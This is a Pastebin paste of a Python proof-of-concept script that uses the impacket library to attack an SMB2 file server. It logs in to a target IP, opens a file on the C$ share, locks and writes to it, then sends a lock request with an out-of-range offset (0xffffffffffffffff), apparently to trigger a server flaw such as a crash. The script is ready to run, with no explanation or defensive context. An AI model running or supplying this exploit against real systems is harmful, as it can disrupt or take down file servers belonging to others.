Advertisement
Guest User

Untitled

a guest
Apr 11th, 2016
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | None | 0 0
  1. # Based on https://twitter.com/dlitchfield/status/714815748280094720
  2. # git clone latest impacket (https://github.com/CoreSecurity/impacket)
  3.  
  4. from impacket.smbconnection import SMBConnection
  5. from impacket.smb3 import GENERIC_READ, GENERIC_WRITE, FILE_OPEN, SMB2_LOCK_ELEMENT, SMB2_LOCKFLAG_EXCLUSIVE_LOCK, \
  6.     SMB2_DIALECT_002, SMB2_LOCKFLAG_SHARED_LOCK, SMB2_LOCKFLAG_FAIL_IMMEDIATELY, SMB2_LOCKFLAG_UNLOCK
  7.  
  8. USERNAME = ''
  9. PASSWORD = ''
  10. TARGET = '192.168.1.1'
  11. # Share accessible by user
  12. TARGETSHARE = 'C$'
  13. # Target file must exist
  14. TARGETFILE = 'hello.txt'
  15.  
  16. s = SMBConnection(TARGET, TARGET, preferredDialect=SMB2_DIALECT_002)
  17.  
  18. s.login(USERNAME, PASSWORD)
  19.  
  20. tid = s.connectTree(TARGETSHARE)
  21. hFile = s.createFile(tid, TARGETFILE, GENERIC_READ|GENERIC_WRITE, 0, creationDisposition=FILE_OPEN)
  22.  
  23. smb2Connection = s.getSMBServer()
  24.  
  25. lockElement = SMB2_LOCK_ELEMENT()
  26. lockElement['Offset'] = 0
  27. lockElement['Length'] = 1024
  28. lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
  29. lockElement['Reserved'] = 0
  30.  
  31. smb2Connection.lock(tid, hFile, (lockElement,))
  32.  
  33. smb2Connection.write(tid, hFile, 'XXXXXX', 0, 6)
  34.  
  35. lockElement = SMB2_LOCK_ELEMENT()
  36. lockElement['Offset'] = 0xffffffffffffffff
  37. lockElement['Length'] = 1024
  38. lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
  39. lockElement['Reserved'] = 0
  40.  
  41. smb2Connection.lock(tid, hFile, (lockElement,))
  42.  
  43. smb2Connection.close(tid, hFile)
  44.  
  45. s.logoff()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement